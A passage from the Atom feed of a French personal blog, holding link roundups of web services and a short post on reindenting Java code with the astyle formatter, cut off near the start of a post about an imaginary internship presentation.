&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://dlvr.it/"&gt;dlvr&lt;/a&gt; et &lt;a href="https://zapier.com/"&gt;Zapier&lt;/a&gt; font exactement la même chose &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;…&lt;/p&gt;
&lt;p&gt;&lt;a href="http://getpocket.com/"&gt;Pocket&lt;/a&gt; permet de mémoriser des articles « à lire ». L&amp;rsquo;idée étant qu&amp;rsquo;en un clic, je place « dans ma poche » un article que je lirai plus tard. Mon activité sur le web se décompose alors en deux parties:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;la collecte des choses à lire;&lt;/li&gt;
&lt;li&gt;la lecture des articles proprement dite&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Un peu de Facebook pour jouer à &lt;a href="http://www.trickedouttimeline.com/"&gt;remplacer sa photo de profil&lt;/a&gt; et un site permettant de faire une &lt;a href="http://simplewa.sh/facebook"&gt;recherche dans sa timeline&lt;/a&gt; (Twitter ou facebook).&lt;/p&gt;
&lt;p&gt;Si vous utilisez &lt;a href="http://spotify.be/"&gt;Spotify&lt;/a&gt; et que vous voulez partager un morceau … déposez-le sur &lt;a href="http://youtube.com/"&gt;Youtube&lt;/a&gt; grâce à &lt;a href="http://spo2tu.be/"&gt;spo2tu&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Commercez équitablement en aidant un producteur d’Amérique latine et partout dans le monde. Par le biais de &lt;a href="http://kiva.org/"&gt;Kiva&lt;/a&gt;, le principe:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;faire prêt,&lt;/li&gt;
&lt;li&gt;attendre pendant que « ça pousse »&lt;/li&gt;
&lt;li&gt;retoucher son emprunt … et en faire un autre&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;… ce qui permet aux petits producteurs des pays (dit) non industrialisés de vivre (plus) dignement.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Loans that change live.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Enjoy …&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://ifttt.com/"&gt;IFTTT&lt;/a&gt;  &lt;/li&gt;
&lt;li&gt;&lt;a href="http://dlvr.it/"&gt;dlvr&lt;/a&gt;  &lt;/li&gt;
&lt;li&gt;&lt;a href="https://zapier.com/"&gt;Zapier&lt;/a&gt;  &lt;/li&gt;
&lt;li&gt;&lt;a href="http://getpocket.com/"&gt;Pocket&lt;/a&gt;  &lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.trickedouttimeline.com/"&gt;Trickedouttimeline&lt;/a&gt;  &lt;/li&gt;
&lt;li&gt;&lt;a href="http://simplewa.sh/"&gt;Simplewa&lt;/a&gt;  &lt;/li&gt;
&lt;li&gt;&lt;a href="http://spo2tu.be/"&gt;spo2tu&lt;/a&gt;  &lt;/li&gt;
&lt;li&gt;&lt;a href="http://kiva.org/"&gt;Kiva&lt;/a&gt;  &lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.flickr.com/photos/dobrych/"&gt;Crédit photo, dobrych&lt;/a&gt;  &lt;/li&gt;
&lt;li&gt;&lt;a href="http://ploum.net/"&gt;Ploum&lt;/a&gt;  &lt;/li&gt;
&lt;li&gt;&lt;a href="http://dotclear.org/"&gt;dotclear&lt;/a&gt; et sa mailing list  &lt;/li&gt;
&lt;li&gt;&lt;em&gt;les hasards du web …&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Lequel des trois est le meilleur…&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Tu indentes comme un goret</title><link href="http://blog.namok.be/2013-07-02-tu-indentes-comme-un-goret.html" rel="alternate"/><published>2013-07-02T00:00:00+02:00</published><updated>2013-07-02T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-07-02:/2013-07-02-tu-indentes-comme-un-goret.html</id><summary type="html">Tu indentes comme un goret</summary><content type="html">&lt;p&gt;&lt;img alt="pig-6923469335_3088c1c263_b.jpg" src="/images/pig-6923469335_3088c1c263_b.jpg" title="pig-6923469335_3088c1c263_b.jpg, juil. 2013"&gt;&lt;/p&gt;
&lt;p&gt;Si j&amp;rsquo;écris ce code&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Essai:&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;… et si j&amp;rsquo;ai lu les conventions d&amp;rsquo;écriture du code en Java, je sais que « j&amp;rsquo;indente comme un goret » et même plus qu&amp;rsquo;une mauvaise indentation, mes passages à la ligne sont incorrects.&lt;/p&gt;
&lt;p&gt;Si je ne veux pas écrire directement mon code correctement (ou si je veux être sûr qu&amp;rsquo;il soit bien écrit) je peux utiliser un programme qui le fait pour moi ! Ce programme s&amp;rsquo;appelle &lt;a href="http://astyle.sourceforge.net/"&gt;astyle&lt;/a&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comme ça, plus d&amp;rsquo;excuse.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Essayons, pour l&amp;rsquo;exemple, avec ce code dont les passages à la ligne sont aléatoires, la convention d&amp;rsquo;écriture des blocs non homogènes, les déclarations sur une même ligne…&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Essai&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Essai:&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);}&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Essai:&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Essai:&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Un petit coup de astyle&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;:~$&lt;span class="w"&gt; &lt;/span&gt;astyle&lt;span class="w"&gt; &lt;/span&gt;-acxA2&lt;span class="w"&gt; &lt;/span&gt;Essai.java
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Essai&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Essai:&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Essai:&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Essai:&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Enjoy … &lt;em&gt;(Merci à Nico pour le lien)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/ &gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://esi.namok.be/brol/java/Sun-CodeConventions.pdf"&gt;Conventions d&amp;rsquo;écriture du code (Sun)&lt;/a&gt;&lt;br&gt;
&lt;a href="http://astyle.sourceforge.net/"&gt;astyle&lt;/a&gt;&lt;br&gt;
&lt;a href="http://debian.org/"&gt;debian&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Crédit photo &lt;a href="http://www.flickr.com/photos/thomashawk/"&gt;Flickr, Thomas Hawk&lt;/a&gt;&lt;/em&gt;  &lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Un p&amp;rsquo;tit coup d&amp;rsquo;&lt;code&gt;apt-get&lt;/code&gt; sous debian et ça roule…&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Vrac #12</title><link href="http://blog.namok.be/2013-06-21-vrac-12.html" rel="alternate"/><published>2013-06-21T00:00:00+02:00</published><updated>2013-06-21T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-06-21:/2013-06-21-vrac-12.html</id><summary type="html">Quelques liens comme slideshare, prezi, patreon, cloudflare, seenthis, askme…</summary><content type="html">&lt;p&gt;Quelques liens…&lt;/p&gt;
&lt;p&gt;&lt;img alt="bird-8237842664_24f6a15caa_h.jpg" src="/images/bird-8237842664_24f6a15caa_h.jpg" title="bird-8237842664_24f6a15caa_h.jpg, juin 2013"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://manbox.be/"&gt;ManBox&lt;/a&gt; si tu veux recevoir un slip et des chaussettes chaque mois dans ta boite aux lettres. Ça pourrait m&amp;rsquo;intéresser si c&amp;rsquo;était moins fréquent…&lt;/p&gt;
&lt;p&gt;&lt;a href="http://airdroid.com/"&gt;Airdroid&lt;/a&gt;, une application permettant de prendre le contrôle de son smartphone Android à distance… bien pratique si on ne veut pas utiliser son cable USB par exemple. Le principe est simple, l&amp;rsquo;application ouvre un serveur web sur le smartphone et le rend accessible à l&amp;rsquo;utilisateur. Ça peut se faire via le site de &lt;a href="http://airdroid.com/"&gt;airdroid&lt;/a&gt; ou par une IP si c&amp;rsquo;est dans le même réseau local. L&amp;rsquo;appli permet même de trouver l&amp;rsquo;appareil et de l&amp;rsquo;effacer sous certaines conditions.&lt;/p&gt;
&lt;p&gt;Si l&amp;rsquo;on connait (presque) tous &lt;a href="http://slidesshare.net/"&gt;Slideshare.net&lt;/a&gt;, il existe un autre service semblable, &lt;a href="http://prezi.com/"&gt;Prezi&lt;/a&gt; . La différence est que Prezi est plus orienté « présentation de carte heuristique » (&lt;em&gt;mind map&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Quelque chose comme &lt;a href="http://flattr.com/"&gt;Flattr&lt;/a&gt; mais « pas comme » ! Si Flattr permet de rémunérer un auteur « à l&amp;rsquo;article », l&amp;rsquo;objectif de &lt;a href="http://www.patreon.com/"&gt;Patreon&lt;/a&gt; est plus de prendre un engagement envers un auteur / artiste. Si je fais confiance à l&amp;rsquo;auteur / artiste, je m&amp;rsquo;engage à lui donner un certain montant chaque fois qu&amp;rsquo;il publie. Pour l&amp;rsquo;auteur / artiste, ça lui assure un revenu fixe.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://fr.cloudflare.com/"&gt;Cloudflare&lt;/a&gt; est un système pour gérer / contrôler la charge d&amp;rsquo;un site . Avec &lt;a href="https://fr.cloudflare.com/"&gt;Cloudflare&lt;/a&gt; , je suis sûr que mon site ne souffrira jamais un &amp;lsquo;DDOS&amp;rsquo; puisque c&amp;rsquo;est le service qui gère mes enregistrements DNS et se charge de ne pas répondre à certaines requêtes… l&amp;rsquo;avis de &lt;a href="http://sebsauvage.net/rhaa/index.php?2012/01/23/13/42/15-cloudflare-le-syndrome-akismet-"&gt;Sebsauvage&lt;/a&gt; sur le sujet.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://seenthis.net/"&gt;Seenthis&lt;/a&gt; à mis chemin entre Twitter et un blog. Je n&amp;rsquo;ai pas encore bien compris le principe…&lt;/p&gt;
&lt;p&gt;Un service pour les ados car je n&amp;rsquo;imagine pas que ça puisse être utilisé autrement (et c&amp;rsquo;est peut-être dommage), &lt;a href="http://ask.fm/"&gt;Ask.fm&lt;/a&gt; permet de se créer une page sur laquelle tout le monde peut venir poser ses questions. Ce que j&amp;rsquo;ai lu ne vole pas haut.&lt;/p&gt;
&lt;p&gt;Pour ceux qui aiment les jolies infographies, voici un site qui en génère pour vous;&lt;a href="http://visual.ly/"&gt;Visual.ly&lt;/a&gt;. Cliquez sur create permet de choisir des infographies… c&amp;rsquo;est beau, c&amp;rsquo;est tout ;-)&lt;/p&gt;
&lt;p&gt;Ceux qui sont souvent à la recherche d&amp;rsquo;images utilisent &lt;a href="http://images.google.com"&gt;Google Image&lt;/a&gt; (avec un p&amp;rsquo;tit filtre pour les licences). Ceux qui cherchent de &lt;strong&gt;belles&lt;/strong&gt; images regardent plus du coté de &lt;a href="http://flickr.com/"&gt;Flickr&lt;/a&gt; (avec un p&amp;rsquo;tit filtre Creative common). Ceux qui n&amp;rsquo;ont pas peur des images de tous genres se dirigent vers &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt;, capable du meilleur comme du pire… j&amp;rsquo;aime ! Ceux qui cherchent des &lt;strong&gt;symboles&lt;/strong&gt; en tout genre peuvent regarder du côté du « projet des nonnes » (un nom qui ne s&amp;rsquo;invente pas et qui n&amp;rsquo;a probablement pas le sens que j&amp;rsquo;imagine); &lt;a href="http://thenounproject.com/"&gt;The noun project&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://manbox.be/"&gt;ManBox&lt;/a&gt;&lt;br&gt;
&lt;a href="http://airdroid.com/"&gt;Airdroid&lt;/a&gt;&lt;br&gt;
&lt;a href="http://slidesshare.net/"&gt;Slideshare.net&lt;/a&gt;&lt;br&gt;
&lt;a href="http://prezi.com/"&gt;Prezi&lt;/a&gt;&lt;br&gt;
&lt;a href="http://flattr.com/"&gt;Flattr&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.patreon.com/"&gt;Patreon&lt;/a&gt;&lt;br&gt;
&lt;a href="https://fr.cloudflare.com/"&gt;Cloudflare&lt;/a&gt;&lt;br&gt;
&lt;a href="http://seenthis.net/people/pinkilla"&gt;Seenthis&lt;/a&gt;&lt;br&gt;
&lt;a href="http://ask.fm/"&gt;Ask.fm&lt;/a&gt;&lt;br&gt;
&lt;a href="http://visual.ly/"&gt;Visual.ly&lt;/a&gt;&lt;br&gt;
&lt;a href="https://blog.namok.be/http.//images.google.com"&gt;Google Image&lt;/a&gt;&lt;br&gt;
&lt;a href="http://flickr.com/"&gt;Flickr&lt;/a&gt;&lt;br&gt;
&lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt;&lt;br&gt;
&lt;a href="http://thenounproject.com/"&gt;The noun project&lt;/a&gt;&lt;br&gt;
Crédit photo &lt;a href="http://www.flickr.com/photos/tambako/"&gt;Flickr, tambako&lt;/a&gt;  &lt;/p&gt;
&lt;h4&gt;À lire aussi&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2013-03-04-vrac-11.html"&gt;Vrac #11&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2012-06-26-vrac-10.html"&gt;Vrac #10&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;li&gt;&lt;a href="2010-01-27-vrac-1.html"&gt;Vrac #1&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>Proof of concept de ma présentation d'un stage imaginaire</title><link href="http://blog.namok.be/2013-06-20-poc-presentation-stage-imaginaire.html" rel="alternate"/><published>2013-06-20T00:00:00+02:00</published><updated>2013-06-20T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-06-20:/2013-06-20-poc-presentation-stage-imaginaire.html</id><summary type="html">Proof of concept de ma présentation d'un stage imaginaire</summary><content type="html">&lt;p&gt;POC de ma présentation de stage imaginaire&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est la fin de l&amp;rsquo;année, les étudiants ne sont même plus en examen et ce n&amp;rsquo;est pas encore l&amp;rsquo;heure des délibérations…&lt;/p&gt;
&lt;p&gt;— Ouaip ! T&amp;rsquo;es encore en congé&lt;/p&gt;
